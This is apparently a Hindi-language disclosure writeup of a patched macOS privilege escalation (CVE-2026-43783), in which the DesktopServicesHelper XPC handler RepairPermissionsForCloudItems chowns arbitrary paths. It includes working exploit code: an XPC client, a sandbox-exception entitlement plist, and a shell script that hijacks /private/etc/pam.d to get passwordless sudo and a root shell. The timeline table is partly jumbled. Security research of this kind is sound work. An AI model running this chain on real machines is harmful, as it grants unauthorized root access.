
CVE-2026-43783 के लिए प्रूफ-ऑफ-कॉन्सेप्ट और तकनीकी राइटअप, जो DesktopServicesHelper XPC के माध्यम से मनमाने chown द्वारा रूट प्राप्त करने वाला macOS स्थानीय विशेषाधिकार उन्नयन है।
Finder जिस डेमॉन का उपयोग iCloud फ़ाइलों पर अनुमतियों को "repair" करने के लिए करता है, वह किसी भी चीज़ पर अनुमतियों को repair करने के लिए तैयार निकला - जिसमें सिस्टम डायरेक्टरीज़ भी शामिल हैं। इस लेख में हम देखेंगे कि DesktopServicesHelper अंदर से कैसे काम करता है और क्यों एक single XPC request root प्राप्त करने के लिए पर्याप्त थी।
मैं com.apple.private.tcc.allow के साथ kTCCServiceSystemPolicyAllFiles मान वाले targets की तलाश कर रहा था और DesktopServicesHelper ने मेरा ध्यान खींचा। DesktopServicesHelper /System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Versions/A/Resources/DesktopServicesHelper पर स्थित है, और Finder इसका उपयोग उन फ़ाइल ऑपरेशन्स के लिए करता है जिनके लिए elevated privileges की आवश्यकता होती है: फ़ाइलों को move करना, permissions सेट करना, Trash के साथ काम करना।

बाइनरी को IDA में लोड किया और start() पर गया। सामान्य timer और queue setup के बाद, यह एक XPC listener बनाता है - डेमॉन का entry point। listener एक विशिष्ट नाम के तहत एक mach service register करता है और incoming connections के लिए सुनना शुरू करता है। कोई भी process जो इस नाम को जानता है, connect कर सकता है और एक request भेज सकता है। यहाँ मुख्य भाग है:```c
// get the service name
v16 = (const char *)sub_1000709F4(a1: 0);
// register the listener mach_service = xpc_connection_create_mach_service(name: v16, targetq: nullptr, flags: 1u);
// set the incoming event handler xpc_connection_set_event_handler(connection: mach_service, handler: &stru_1000B4B48); xpc_connection_resume(connection: mach_service);
// start the event loop CFRunLoopRun();
फ़ंक्शन `sub_1000709F4` mach सेवा नाम लौटाता है। `start()` में इसे तर्क 0 के साथ कॉल किया जाता है, जिसका अर्थ है कि डेमन `com.apple.DesktopServicesHelper` नाम के अंतर्गत पंजीकृत होता है।```c
const char *__fastcall sub_1000709F4(int a1)
{
if ( a1 != 0 )
return "com.apple.DesktopServicesScriptingHelper";
else
return "com.apple.DesktopServicesHelper";
}
stru_1000B4B48 एक handler block (callback) है जिसे daemon प्रत्येक incoming event के लिए invoke करता है। XPC message-based है: client keys और values के साथ एक dictionary बनाता है, उसे daemon को भेजता है, और daemon contents को parse करके निर्णय लेता है कि क्या करना है। सभी incoming events इस handler में आते हैं। आइए अंदर देखें।

Block का invoke function sub_100032044 है। नए connection पर, daemon पहले client का euid और egid प्राप्त करता है - effective user ID और group ID - उस user और group के identifiers जिनके अंतर्गत connecting process चल रहा है:```c
euid = xpc_connection_get_euid(connection: v8);
egid = xpc_connection_get_egid(connection: v8);
sub_100071268(a1: euid, a2: egid);
फिर यह कनेक्शन पर आने वाले संदेशों के लिए एक हैंडलर असाइन करता है:```c
v15[2] = sub_10003AB2C; // block's invoke function
xpc_connection_set_event_handler(connection: v14, handler: v15);
xpc_connection_resume(connection: v14);
sub_10003AB2C - यह वह जगह है जहाँ क्लाइंट से आने वाले वास्तविक XPC अनुरोध पहुँचते हैं। अब हमें यह समझने की आवश्यकता है कि डेमन यह कैसे तय करता है कि कौन से अनुरोध निष्पादित करने हैं और किन्हें अस्वीकार करना है।
sub_10003AB2C मुख्य डिस्पैचर है। यह वह जगह है जहाँ डेमन तय करता है कि किसी अनुरोध के साथ क्या करना है। फ़ंक्शन बड़ा है, तो चलिए इसे तोड़ते हैं।
सबसे पहले, यह संदेश से "request" स्ट्रिंग निकालता है - वह कमांड नाम जिसे क्लाइंट निष्पादित करना चाहता है:```c
reply = xpc_dictionary_create_reply(original: v12);
string = xpc_dictionary_get_string(xdict: v12, key: "request");
// ...
// logging: "Got Request '%{public}@'"
फिर डेमन कनेक्ट हो रही प्रक्रिया का ऑडिट टोकन प्राप्त करता है और जाँचता है कि यह App Sandbox के अंदर चल रही है या नहीं। App Sandbox एक macOS एप्लिकेशन आइसोलेशन तंत्र है जो फ़ाइल सिस्टम, नेटवर्क और अन्य संसाधनों तक पहुँच को प्रतिबंधित करता है। यहाँ यह शाखाओं में विभाजित होता है:```c
xpc_dictionary_get_audit_token(a1: v12, a2: buf);
qmemcpy(__p, buf, sizeof(__p));
if ( (unsigned int)sandbox_check_by_audit_token(a1: __p, a2: 0, a3: 0) != 0 )
{
// client is sandboxed - check against allowlist
if ( (sub_10003B25C(a1: &v32, a2: "Handshake") & 1) == 0
&& (sub_10003B25C(a1: &v32, a2: "exit") & 1) == 0
&& (sub_10003B25C(a1: &v32, a2: "SetDefaultPermissionOnHomeSubdirectories") & 1) == 0
&& (sub_10003B25C(a1: &v32, a2: "MoveAsideICloudToArchiveInHome") & 1) == 0
&& (sub_10003B25C(a1: &v32, a2: "RepairPermissionsForCloudItems") & 1) == 0
&& (sub_10003B25C(a1: &v32, a2: "CopyClientActive") & 1) == 0
&& (sub_10003B25C(a1: &v32, a2: "DeleteItem") & 1) == 0 )
{
sub_100034250(a1: v12, a2: &v32); // not in the list - kill the daemon
}
}
else
{
// client is not sandboxed - check entitlement
*(_QWORD *)buf = sub_1000343C0(a1: v12, a2: CFSTR("com.apple.private.tcc.allow"));
v19 = (const __CFArray *)sub_10003B1E0();
v20 = v19;
if ( v19 == nullptr
|| (v35.length = CFArrayGetCount(theArray: v19),
v35.location = 0,
CFArrayContainsValue(theArray: v20, range: v35, value: CFSTR("kTCCServiceSystemPolicyAllFiles")) == 0) )
{
sub_100034250(a1: v12, a2: &v32); // no entitlement - kill the daemon
}
}
यदि क्लाइंट सैंडबॉक्स्ड है - तो रिक्वेस्ट नाम को सात स्ट्रिंग्स की allowlist के विरुद्ध जाँचा जाता है। यदि यह मेल खाता है - तो जाँच पास हो जाती है और रिक्वेस्ट आगे बढ़ जाती है। यदि नहीं - तो sub_100034250 डेमन को मार देता है।
यदि क्लाइंट सैंडबॉक्स्ड नहीं है - तो डेमन com.apple.private.tcc.allow entitlement की जाँच करता है जिसका मान kTCCServiceSystemPolicyAllFiles होता है। entitlement न होना भी मृत्यु का कारण बनता है।
जाँच पास करने के बाद, रिक्वेस्ट दो हैंडलर टेबल्स से होकर गुजरती है। पहले sub_10002F7C8, फिर sub_10002A194:```c
// first table (8 commands, two arguments)
v21 = sub_10002F7C8(a1: buf);
// ...
if ( v21 != 0 )
v22(a1: v12, a2: v11); // found - invoke
// second table (21 commands, three arguments) v27 = sub_10002A194(a1: buf); // ... if ( v27 != nullptr ) v27(a1: v12, a2: reply, a3: v11); // found - invoke
अब आइए हैंडलर तालिकाओं को देखें। पहली तालिका (`sub_10002F7C8`):```c
__int64 __fastcall sub_10002F7C8(__int64 a1)
{
__int64 result; // x0
void **v3; // x21
void **v4; // x8
_BYTE v5[32]; // [xsp+8h] [xbp-128h] BYREF
__int64 v6; // [xsp+28h] [xbp-108h] BYREF
__int64 v7; // [xsp+48h] [xbp-E8h] BYREF
__int64 v8; // [xsp+68h] [xbp-C8h] BYREF
__int64 v9; // [xsp+88h] [xbp-A8h] BYREF
__int64 v10; // [xsp+A8h] [xbp-88h] BYREF
__int64 v11; // [xsp+C8h] [xbp-68h] BYREF
__int64 v12; // [xsp+E8h] [xbp-48h] BYREF
__int64 v13; // [xsp+108h] [xbp-28h] BYREF
if ( (atomic_load_explicit((atomic_uchar *volatile)&qword_1000BD8C8, memory_order_acquire) & 1) == 0
&& __cxa_guard_acquire(a1: &qword_1000BD8C8) != 0 )
{
sub_10002AA78(a1: (int)v5, __s: "OperationSizing");
sub_10002AA78(a1: (int)&v6, __s: "SetChildPermissions");
sub_10002AA78(a1: (int)&v7, __s: "RunTrashOperation");
sub_10002AA78(a1: (int)&v8, __s: "ChildCreateLock");
sub_10002AA78(a1: (int)&v9, __s: "RunSetRootMetadata");
sub_10002AA78(a1: (int)&v10, __s: "RunCopyMoveOperation");
sub_10002AA78(a1: (int)&v11, __s: "DeleteBackup");
sub_10002AA78(a1: (int)&v12, __s: "DeleteItem");
sub_10003BDDC(a1: &unk_1000BD8A0, a2: v5, a3: 8);
v3 = (void **)&v13;
do
{
v4 = v3;
v3 -= 4;
if ( *((char *)v4 - 9) < 0 )
operator delete(__p: *v3);
}
while ( v3 != (void **)v5 );
__cxa_guard_release(a1: &qword_1000BD8C8);
}
result = sub_10003BCF0(a1: &unk_1000BD8A0, a2: a1);
if ( result != 0 )
return *(_QWORD *)(result + 40);
return result;
}
यहाँ कुछ भी दिलचस्प नहीं है। आठ हैंडलर (OperationSizing, SetChildPermissions, ...), सभी entitlement जाँचों के पीछे gated हैं।
लेकिन एक दूसरी तालिका है - v27 = sub_10002A194(a1: buf):```c
__int64 __fastcall sub_10002A194(__int64 a1)
{
__int64 result; // x0
void **v3; // x21
void **v4; // x8
_BYTE v5[32]; // [xsp+8h] [xbp-2C8h] BYREF
__int64 v6; // [xsp+28h] [xbp-2A8h] BYREF
__int64 v7; // [xsp+48h] [xbp-288h] BYREF
__int64 v8; // [xsp+68h] [xbp-268h] BYREF
__int64 v9; // [xsp+88h] [xbp-248h] BYREF
__int64 v10; // [xsp+A8h] [xbp-228h] BYREF
__int64 v11; // [xsp+C8h] [xbp-208h] BYREF
__int64 v12; // [xsp+E8h] [xbp-1E8h] BYREF
__int64 v13; // [xsp+108h] [xbp-1C8h] BYREF
__int64 v14; // [xsp+128h] [xbp-1A8h] BYREF
__int64 v15; // [xsp+148h] [xbp-188h] BYREF
__int64 v16; // [xsp+168h] [xbp-168h] BYREF
__int64 v17; // [xsp+188h] [xbp-148h] BYREF
__int64 v18; // [xsp+1A8h] [xbp-128h] BYREF
__int64 v19; // [xsp+1C8h] [xbp-108h] BYREF
__int64 v20; // [xsp+1E8h] [xbp-E8h] BYREF
__int64 v21; // [xsp+208h] [xbp-C8h] BYREF
__int64 v22; // [xsp+228h] [xbp-A8h] BYREF
__int64 v23; // [xsp+248h] [xbp-88h] BYREF
__int64 v24; // [xsp+268h] [xbp-68h] BYREF
__int64 v25; // [xsp+288h] [xbp-48h] BYREF
__int64 v26; // [xsp+2A8h] [xbp-28h] BYREF
if ( (atomic_load_explicit((atomic_uchar *volatile)&qword_1000BD898, memory_order_acquire) & 1) == 0 && __cxa_guard_acquire(a1: &qword_1000BD898) != 0 ) { sub_10002AA78(a1: (int)v5, __s: "Handshake"); sub_10002AA78(a1: (int)&v6, __s: "MoveAndRename"); sub_10002AA78(a1: (int)&v7, __s: "SetDefaultPermissionOnHomeSubdirectories"); sub_10002AA78(a1: (int)&v8, __s: "MoveAsideICloudToArchiveInHome"); sub_10002AA78(a1: (int)&v9, __s: "RepairPermissionsForCloudItems"); sub_10002AA78(a1: (int)&v10, __s: "CheckPermissionsForCloudItem"); sub_10002AA78(a1: (int)&v11, __s: "AbortResumableCopy"); sub_10002AA78(a1: (int)&v12, __s: "SetLabel"); sub_10002AA78(a1: (int)&v13, __s: "SetAppCategories"); sub_10002AA78(a1: (int)&v14, __s: "CreateIconFile"); sub_10002AA78(a1: (int)&v15, __s: "RemoveIconFile"); sub_10002AA78(a1: (int)&v16, __s: "RepairTrash"); sub_10002AA78(a1: (int)&v17, __s: "Rename"); sub_10002AA78(a1: (int)&v18, __s: "CreateFolder"); sub_10002AA78(a1: (int)&v19, __s: "CreateAlias"); sub_10002AA78(a1: (int)&v20, __s: "RemoveTrashItemsOlderThanDate"); sub_10002AA78(a1: (int)&v21, __s: "SetTags"); sub_10002AA78(a1: (int)&v22, __s: "cancel"); sub_10002AA78(a1: (int)&v23, __s: "pause"); sub_10002AA78(a1: (int)&v24, __s: "resume"); sub_10002AA78(a1: (int)&v25, __s: "exit"); sub_10003B360(a1: &unk_1000BD870, a2: v5, a3: 21); v3 = (void **)&v26; do { v4 = v3; v3 -= 4; if ( *((char *)v4 - 9) < 0 ) operator delete(__p: *v3); } while ( v3 != (void **)v5 ); __cxa_guard_release(a1: &qword_1000BD898); } result = sub_10003BCF0(a1: &unk_1000BD870, a2: a1); if ( result != 0 ) return *(_QWORD *)(result + 40); return result; }
इससे हमें 21 हैंडलर मिलते हैं। डिस्पैचर एक कैस्केड की तरह काम करता है: पहले यह पहली टेबल (`sub_10002F7C8`, 8 कमांड) में रिक्वेस्ट नाम खोजता है - ये "फायर-एंड-फॉरगेट" ऑपरेशन हैं जो XPC कनेक्शन और पीयर (क्लाइंट ऑब्जेक्ट) लेते हैं लेकिन कोई रिस्पॉन्स नहीं लौटाते। अगर नहीं मिलता - तो यह दूसरी टेबल (`sub_10002A194`, 21 कमांड) में खोजता है - ये रिस्पॉन्स वाले ऑपरेशन हैं, जिन्हें अतिरिक्त रूप से एक रिप्लाई (क्लाइंट को परिणाम वापस भेजने के लिए ऑब्जेक्ट) मिलता है।
लगभग सभी कमांड या तो कुछ दिलचस्प नहीं करते या एंटाइटलमेंट चेक के पीछे गेटेड हैं। लेकिन एक है जो खुला है - `RepairPermissionsForCloudItems`। आइए इसका हैंडलर खोजें। असेंबली में हम देख सकते हैं कि `sub_10002AA78` अपने तीसरे आर्ग्युमेंट के रूप में एक फंक्शन पॉइंटर लेता है:```asm
__text:000000010002A2AC MOV X2, X16
__text:000000010002A2B0 MOV X0, X20 ; int
__text:000000010002A2B4 BL sub_10002AA78
__text:000000010002A2B8 ADD X21, SP, #0x2D0+var_2C8
__text:000000010002A2BC ADD X20, X21, #0x80
__text:000000010002A2C0 ADRL X1, aRepairpermissi ; "RepairPermissionsForCloudItems"
__text:000000010002A2C8 ADRL X16, sub_10002D744
__text:000000010002A2D0 PACIZA X16
RepairPermissionsForCloudItems -> sub_10002D744. हमने सैंडबॉक्स से बिना अतिरिक्त एंटाइटलमेंट्स के सुलभ एकमात्र हैंडलर पाया है। अब देखते हैं कि यह प्राप्त डेटा के साथ वास्तव में क्या करता है।
हैंडलर sub_10002D744 तीन काम करता है। पहला, यह XPC संदेश से "Paths" कुंजी निकालता है और NSKeyedUnarchiver के माध्यम से इसे एक स्ट्रिंग ऐरे में डीसेरियलाइज़ करता है:```c
v8 = objc_claimAutoreleasedReturnValue((id)sub_100028810(a1: v5, a2: "Paths"));
v9 = objc_claimAutoreleasedReturnValue(
+[NSKeyedUnarchiver unarchivedArrayOfObjectsOfClass:fromData:error:](
&OBJC_CLASS___NSKeyedUnarchiver,
"unarchivedArrayOfObjectsOfClass:fromData:error:",
objc_opt_class(a1: &OBJC_CLASS___NSString),
v8,
&v25));
फिर यह प्रत्येक पथ को `sub_100029CE4` को `sub_100034B5C` के माध्यम से पास करता है ताकि यह निर्धारित किया जा सके कि "repair" की आवश्यकता है या नहीं। उन पथों के लिए जिन्हें repair की आवश्यकता होती है, यह `sub_10002A11C` को कॉल करता है:```c
sub_100034B5C(a1: v22, a2: v24, a3: sub_100029CE4);
if ( v22[0] != v22[1] )
sub_10002A11C(a1: v5, a2: v22);
कोई पथ सत्यापन नहीं है: जो भी पास किया जाता है, उसे संसाधित किया जाता है। फ़ंक्शन sub_100029CE4 जाँचता है कि "repair" की आवश्यकता है या नहीं। यहाँ मुख्य तर्क है:```c
v3 = lstat(a1: v2, a2: &v28);
// ...
if ( (v28.st_mode & 0xF000) != 0x4000 && v28.st_nlink > 1u )
return false; // not a directory + hardlinks > 1 - skip
v6 = sub_100071288(a1: v4); // get caller's UID
if ( v28.st_uid != v6 )
return true; // owner doesn't match - repair needed
जाँच तर्क:```
lstat(path)
|
+- not a directory && hardlinks > 1 ?
| +- yes -> false (skip)
|
+- st_uid == our UID ?
| +- yes -> false (owner matches, no repair needed)
| +- no -> true (repair needed)
|
+- directory ?
+- yes -> recurse into contents
जिन पथों को मरम्मत की आवश्यकता होती है, उनके लिए sub_10002A11C को कॉल किया जाता है - एक सरल लूप जो परिणामों पर पुनरावृत्ति करता है और प्रत्येक के लिए sub_100029440 को कॉल करता है। यहाँ sub_100029440 का मुख्य तर्क है:```c
fd = open(path, 0x200000);
fstat(fd, &st);
// only check: not a directory + hardlinks >= 2 - skip if ( (st.st_mode & 0xF000) != 0x4000 && st.st_nlink >= 2u ) return close(fd);
// get caller's UID (ours - 501) caller_uid = sub_100071288();
// owner doesn't match - change to ours if ( st.st_uid != caller_uid ) fchown(fd, caller_uid, st.st_gid);
close(fd);
// if directory - recursively call itself for each item if ( (st.st_mode & 0xF000) == 0x4000 ) sub_100029440(child_path);
बस इतना ही। डेमन जो भी पथ दिया जाता है उस पर `fchown` कॉल करता है, बिना यह जाँचे कि वह `~/Library/Mobile Documents/` या किसी iCloud कंटेनर में स्थित है। और यदि पथ एक डायरेक्टरी है, तो फ़ंक्शन उसकी सभी सामग्री को पुनरावर्ती रूप से ट्रैवर्स करता है और हर आइटम पर `fchown` कॉल करता है।
इसे फिर से पढ़ें। इसे पचने दें। कोई भी डायरेक्टरी पास करें - और आप उसकी सभी सामग्री के मालिक हैं।
## सारांश
XPC अनुरोध से `fchown` तक की पूरी श्रृंखला:```
Sandboxed app
|
+- xpc_connection_create_mach_service("com.apple.DesktopServicesHelper")
|
+- xpc_dictionary: "request" = "RepairPermissionsForCloudItems"
| "Paths" = ["/private/etc/pam.d"]
|
+- send --> DesktopServicesHelper (root)
|
+- sandbox_check: client sandboxed? -> yes
+- allowlist: RepairPermissionsForCloudItems? -> yes, pass through
+- NSKeyedUnarchiver: extract paths
+- lstat: st_uid != caller_uid? -> yes, repair needed
+- fchown(path, 501, gid) <- arbitrary path, no validation
एक XPC अनुरोध - और कोई भी फ़ाइल या निर्देशिका हमारी हो जाती है।
तो हमारे पास डिस्क पर किसी भी पथ पर मनमाना chown है। अब हमें बस इसे root में बदलना है।
macOS पर, प्रमाणीकरण PAM के माध्यम से होता है। कॉन्फ़िगरेशन /private/etc/pam.d/ में हैं - प्रत्येक प्रोग्राम के लिए एक फ़ाइल जो पासवर्ड जाँचता है: sudo, login, su, आदि। निर्देशिका root:wheel के स्वामित्व में है। इसलिए हम अपने chown से इसका स्वामित्व ले सकते हैं। उसके बाद हम /private/etc/pam.d/sudo_local फ़ाइल को एक पंक्ति के साथ बनाने के लिए स्वतंत्र हैं:```
auth sufficient pam_permit.so
`pam_permit.so` एक PAM मॉड्यूल है जो हमेशा सफलता लौटाता है। `sudo` मुख्य कॉन्फ़िग से पहले `sudo_local` की जाँच करता है। परिणाम: `sudo` अब पासवर्ड नहीं माँगता।
लेकिन एक पकड़ है। आप सैंडबॉक्स से `com.apple.DesktopServicesHelper` से सीधे कनेक्ट नहीं कर सकते: सैंडबॉक्स डिफ़ॉल्ट रूप से इस सेवा के लिए mach-lookup को ब्लॉक करता है। लेकिन डेमन स्वयं जाँचता है कि कॉल करने वाली प्रक्रिया सैंडबॉक्स्ड है - और केवल तभी `RepairPermissionsForCloudItems` को एंटाइटलमेंट जाँच के बिना गुजरने देता है। विडंबना: यहाँ सैंडबॉक्स एक रक्षा नहीं है - यह एक पास है।
सैंडबॉक्स से mach-lookup पार करने के लिए, हमें `com.apple.security.temporary-exception.mach-lookup.global-name` एंटाइटलमेंट चाहिए। PoC एप्लिकेशन के लिए न्यूनतम एंटाइटलमेंट सेट यहाँ है:```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.app-sandbox</key>
<true/>
<key>com.apple.security.temporary-exception.mach-lookup.global-name</key>
<array>
<string>com.apple.DesktopServicesHelper</string>
</array>
</dict>
</plist>
दो एंटाइटलमेंट।
com.apple.security.app-sandbox - सैंडबॉक्स को सक्षम करता है (इसके बिना डेमन को TCC एंटाइटलमेंट की आवश्यकता होगी और हमें अस्वीकार कर देगा)।
com.apple.security.temporary-exception.mach-lookup.global-name - एक सैंडबॉक्स अपवाद एंटाइटलमेंट।
सैंडबॉक्स सभी mach सेवाओं से कनेक्शन की अनुमति नहीं देता है, और com.apple.DesktopServicesHelper अनुमत सूची में नहीं है। यह कुंजी एक विशिष्ट सेवा के लिए अपवाद जोड़ती है। बस इतना ही हमें चाहिए। कोड सीधे ViewController.m में जाता है। मुख्य विधि chownPath: है, जो डेमन से कनेक्ट होती है और अनुरोध भेजती है:```objc
(void)chownPath:(NSString *)path { xpc_connection_t conn = xpc_connection_create_mach_service( "com.apple.DesktopServicesHelper", NULL, 0); if (!conn) return;
xpc_connection_set_event_handler(conn, ^(xpc_object_t event) {}); xpc_connection_resume(conn);
NSData *archived = [NSKeyedArchiver archivedDataWithRootObject:@[ path ] requiringSecureCoding:YES error:nil];
xpc_object_t msg = xpc_dictionary_create(NULL, NULL, 0); xpc_dictionary_set_string(msg, "request", "RepairPermissionsForCloudItems"); xpc_dictionary_set_data(msg, "Paths", archived.bytes, archived.length);
xpc_connection_send_message_with_reply_sync(conn, msg); }
हम `com.apple.DesktopServicesHelper` से कनेक्ट करते हैं, पथ को `NSKeyedArchiver` के माध्यम से एक `NSArray` में संग्रहीत करते हैं (जैसा कि डेमन अपेक्षा करता है), `"request"` = `"RepairPermissionsForCloudItems"` कुंजी के साथ एक XPC डिक्शनरी बनाते हैं, और उसे भेजते हैं।
ऐप लॉन्च होने पर, हम `/private/etc/pam.d` पर `chownPath:` को कॉल करते हैं और परिणाम की जाँच करते हैं:```objc
- (void)runExploit
{
[self chownPath:@"/private/etc/pam.d"];
usleep(200000);
struct stat st;
if (lstat("/private/etc/pam.d", &st) != 0) return;
if (st.st_uid == getuid())
NSLog(@"ok");
}
200ms प्रतीक्षा करें, फिर lstat - यदि स्वामी हमारे UID में बदल गया है, तो chown सफल हो गया।
अब आइए इसे पूरी तरह से जोड़ते हैं। शेल स्क्रिप्ट PoC एप्लिकेशन लॉन्च करती है, डेमॉन के अपना काम करने की प्रतीक्षा करती है, सत्यापित करती है कि chown सफल हुआ, PAM नियम लिखती है, और root प्राप्त करती है:```sh
#!/bin/sh
set -e
PAM_DIR="/private/etc/pam.d" SUDO_LOCAL="$PAM_DIR/sudo_local"
./poc.app/Contents/MacOS/poc & POC_PID=$! sleep 4 kill $POC_PID 2>/dev/null || true wait $POC_PID 2>/dev/null || true
if [ "$(stat -f %u "$PAM_DIR")" != "$(id -u)" ]; then echo "chown failed" exit 1 fi
echo 'auth sufficient pam_permit.so' > "$SUDO_LOCAL" chmod 644 "$SUDO_LOCAL"
sudo id sudo su
## Apple का पैच
Apple ने `RepairPermissionsForCloudItems` हैंडलर की शुरुआत में ही एक entitlement जाँच जोड़ दी:```c
if ( (sub_100034110(a1: v5,
a2: CFSTR("com.apple.private.desktopservices.cloud-repair-perm")) & 1) == 0 )
{
sub_100034250(a1: v5, a2: v22); // no entitlement - kill the daemon
}
अब केवल उन प्रक्रियाओं के पास निजी एंटाइटलमेंट com.apple.private.desktopservices.cloud-repair-perm होने पर ही RepairPermissionsForCloudItems को इनवोक कर सकती हैं। इसके बिना - sub_100034250 डेमन को किल कर देता है। फ़ंक्शन का शेष लॉजिक अपरिवर्तित रहता है।
| दिनांक | घटना |
|---|---|
| 05/09/2026 | Apple Product Security को रिपोर्ट सबमिट की गई |
| 05/11/2026 |
पढ़ने के लिए धन्यवाद, हैप्पी बग हंटिंग!
| Apple ने रिपोर्ट को समीक्षा के लिए स्थानांतरित किया |
| 05/13/2026 | Apple ने बग को रिप्रोड्यूस किया, फ़ॉल के लिए फ़िक्स शेड्यूल किया |
| 05/26/2026 | macOS 26.6 beta 1 में पैच |
| 08/11/2026 | CVE-2026-43783 असाइन किया गया |